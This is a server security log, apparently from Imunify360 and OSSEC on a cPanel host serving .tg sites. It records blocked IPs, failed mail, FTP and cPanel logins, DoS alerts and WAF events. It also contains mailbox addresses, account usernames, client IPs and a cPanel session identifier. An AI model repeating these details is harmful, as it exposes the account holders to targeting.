Jun 23 21:38:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.168.71.135 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.199
country_id: 6252001
description:
[2026-06-23 21:37:44 +0000] info [cpaneld] 107.174.169.199 NEW wcnyaruu:bowRGOOmFGb8ySjw address=107.174.169.199,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.170.90.187
country_id: 2363686
description:
2026-06-23 21:40:49 H=([196.170.90.187]) [196.170.90.187]:9490 F=<kumar@white-ways.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.188
country_id: 2921044
description:
185.220.101.188 - zxtqbmmj [23/Jun/2026:21:41:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919279&pdata=https%253A%252F%252Fperfect-labo.com%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782250874 HTTP/2.0" 302 0 perfect-labo.com "https://perfect-labo.com:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.188


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 132.232.194.157
country_id: 1814991
description:
Jun 23 21:41:22 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 132.232.194.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 23 21:42:23 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.170.90.187
country_id: 2363686
description:
2026-06-23 21:42:57 H=([196.170.90.187]) [196.170.90.187]:12413 F=<kumar@white-ways.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.54.193.198
country_id: 1814991
description:
Jun 23 21:43:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.54.193.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 23 21:45:55 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 23 21:47:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.254.55
country_id: 3017382
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:148.135.254.55||TA:148.135.254.55||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.59.99
country_id: 1819730
description:
Jun 23 21:47:53 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.59.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.91.58.39
country_id: 1814991
description:
Jun 23 21:47:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.91.58.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.234.108
country_id: 6252001
description:
Jun 23 21:48:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.234.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.101.84
country_id: 798544
description:
Jun 23 21:48:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.101.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.107.117.106
country_id: 1814991
description:
Jun 23 21:50:02 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.107.117.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.116.233.50
country_id: 1269750
description:
Jun 23 21:50:12 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.116.233.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.135.167.80
country_id: 6252001
description:
Jun 23 21:49:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.135.167.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.133.32.159
country_id: 1880251
description:
Jun 23 21:49:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.133.32.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 21:50:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.78.158.30
country_id: 1835841
description:
Jun 23 21:50:47 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.78.158.30 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.135.13
country_id: 2363686
description:
[2026-06-23 21:52:06 +0000] info [webmaild] 196.168.135.13 - ldaro@caissederetraites.tg "POST /cpsess1993045713/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.129.48] != Current IP Address [196.168.135.13]


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.178.92
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.178.92: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.133.32.159
country_id: 1880251
description:
Jun 23 21:52:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.133.32.159 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.178.85
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.178.85: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.80.48.241
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.80.48.241: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.223.45.254
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.223.45.254: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.224.26.47
country_id: 2921044
description:
Jun 23 21:55:20 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.224.26.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.147.120
country_id: 3469034
description:
Jun 23 21:54:47 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.147.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.219.93.199
country_id: 1880251
description:
Jun 23 21:54:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.219.93.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 21:55:05 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:49598: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.155.104.136
country_id: 1814991
description:
Jun 23 21:55:43 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.155.104.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jun 23 21:57:24 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.97.5
country_id: 1814991
description:
Jun 23 21:56:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.51.97.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 21:57:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.168.71.135
country_id: 798544
description:
Jun 23 21:57:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.168.71.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.117.105.7
country_id: 1814991
description:
Jun 23 21:58:11 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.117.105.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.2.66
country_id: 1269750
description:
Jun 23 21:58:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.2.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.246.252
country_id: 1814991
description:
Jun 23 21:59:00 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.246.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 23 21:59:43 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.114.211
country_id: 2363686
description:
[2026-06-23 21:59:36 +0000] info [webmaild] 196.168.114.211 - ldaro@caissederetraites.tg "POST /cpsess1808324172/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.135.13] != Current IP Address [196.168.114.211]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.67
country_id: 130758
description:
Jun 23 22:03:06 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun 23 22:02:59 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.186.103
country_id: 6252001
description:
Jun 23 22:04:05 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.186.103 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 3190538
description:
Jun 23 22:04:27 ns5 pure-ftpd[3567957]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 130.12.182.67
country_id: 3190538
description:
Jun 23 22:04:32 ns5 pure-ftpd[3567963]: (?@130.12.182.67) [WARNING] Authentication failed for user [ingertgsarl]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.10.37.168
country_id: 1643084
description:
Jun 23 22:05:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.10.37.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.54.193.198
country_id: 1814991
description:
Jun 23 22:06:16 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.54.193.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 23 22:07:00 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 22:07:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.89.246.144
country_id: 6252001
description:
Jun 23 22:06:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.89.246.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.114.211
country_id: 2363686
description:
[2026-06-23 22:06:27 +0000] info [webmaild] 196.168.114.211 - ldaro@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 132.232.194.157
country_id: 1814991
description:
Jun 23 22:08:08 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 132.232.194.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.135.167.80
country_id: 6252001
description:
Jun 23 22:09:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.135.167.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.91.58.39
country_id: 1814991
description:
Jun 23 22:10:11 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.91.58.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 23 22:10:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.44.242
country_id: 2658434
domain: ave2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.252.44.242||TA:104.252.44.242||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 22:09:42 +0000] info [cpaneld] 13.222.202.238 - myxlsnta "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.108.227.232
country_id: 3469034
description:
Jun 23 22:10:53 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.108.227.232 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.125.151
country_id: 2363686
description:
[2026-06-23 22:10:58 +0000] info [webmaild] 196.168.125.151 - ingersarlu@inger.tg "GET /cpsess3096552978/3rdparty/roundcube/?_task=mail&_mbox=INBOX.Sent HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.66.202] != Current IP Address [196.168.125.151]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 22:11:09 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.14.192.20
country_id: 1835841
description:
Jun 23 22:11:23 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.14.192.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.14.192.20
country_id: 1835841
description:
2026-06-23 22:11:25 dovecot_login authenticator failed for H=([121.188.250.140]) [110.14.192.20]:36586: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.197.97
country_id: 2510769
description:
Jun 23 22:10:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.197.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.107.117.106
country_id: 1814991
description:
Jun 23 22:12:02 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.107.117.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.133.32.159
country_id: 1880251
description:
Jun 23 22:11:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.133.32.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.9.53.196
country_id: 6252001
description:
Jun 23 22:15:23 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.9.53.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.133.32.159
country_id: 1880251
description:
Jun 23 22:14:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.133.32.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.224.26.47
country_id: 2921044
description:
Jun 23 22:14:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.224.26.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.9.53.196
country_id: 6252001
description:
2026-06-23 22:15:25 dovecot_login authenticator failed for H=([192.111.137.33]) [170.9.53.196]:44520: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.61.218.35
country_id: 3469034
description:
Jun 23 22:15:49 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.61.218.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.76.197.46
country_id: 1819730
description:
Jun 23 22:16:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.76.197.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 134.209.190.136
country_id: 2635167
description:
Jun 23 22:15:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 134.209.190.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jun 23 22:15:43 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.168.71.135
country_id: 798544
description:
Jun 23 22:17:20 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.168.71.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.147.120
country_id: 3469034
description:
Jun 23 22:16:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.147.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 22:17:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.48.78.242
country_id: 6252001
description:
Jun 23 22:17:44 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.48.78.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.97.5
country_id: 1814991
description:
Jun 23 22:18:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.51.97.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 18.191.241.247
country_id: 6252001
description:
Jun 23 22:19:17 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 18.191.241.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 18.191.241.247
country_id: 6252001
description:
2026-06-23 22:19:19 dovecot_plain authenticator failed for H=ec2-18-191-241-247.us-east-2.compute.amazonaws.com (ie17pj4bjcijwxg8qu) [18.191.241.247]:56721: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.126.222.66
country_id: 2750405
description:
Jun 23 22:18:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.126.222.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.117.105.7
country_id: 1814991
description:
Jun 23 22:20:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.117.105.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.155.104.136
country_id: 1814991
description:
Jun 23 22:20:20 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.155.104.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.88.189.90
country_id: 3017382
description:
Jun 23 22:20:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.88.189.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 23 22:20:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.59.99
country_id: 1819730
description:
Jun 23 22:19:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.59.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.159.164.28
country_id: 294640
description:
Jun 23 22:20:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.159.164.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.246.252
country_id: 1814991
description:
Jun 23 22:21:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.246.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 22:20:50 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:50686: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.166.179.34
country_id: 1880251
description:
Jun 23 22:20:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.166.179.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.54.85.220
country_id: 294640
description:
Jun 23 22:20:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.54.85.220 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.176.193.164
country_id: 3865483
description:
190.176.193.164 - - [23/Jun/2026:22:20:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725029&pdata=https%253A%252F%252Fmacite.tg%252Fcategory%252Ffootball%252Fpage%252F32%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782253233 HTTP/2.0" 302 0 macite.tg "https://macite.tg/category/football/page/32/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.7098.1710 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.176.193.164


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking new fake-admin WordPress username candidate (WPT-2545 baseline)
abuser: 94.233.240.182
country_id: 2017370
domain: brmn.tg
description:
IM360 WAF: Tracking new fake-admin WordPress username candidate (WPT-2545 baseline)||MV:adm1n||MVN:ARGS:log||WPU:adm1n||User:zgqykfsi||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.183.82.70
country_id: 2017370
description:
Jun 23 22:21:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.183.82.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 23 22:22:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 23 22:21:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.2.66
country_id: 1269750
description:
Jun 23 22:23:16 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.2.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 23 22:22:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 23 22:22:58 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.245.143.54
country_id: 1210997
description:
43.245.143.54 - - [23/Jun/2026:22:23:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790614&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpasteur-awanyoh-mawuli%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782253423 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pasteur-awanyoh-mawuli/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.7921.1779 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.245.143.54


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
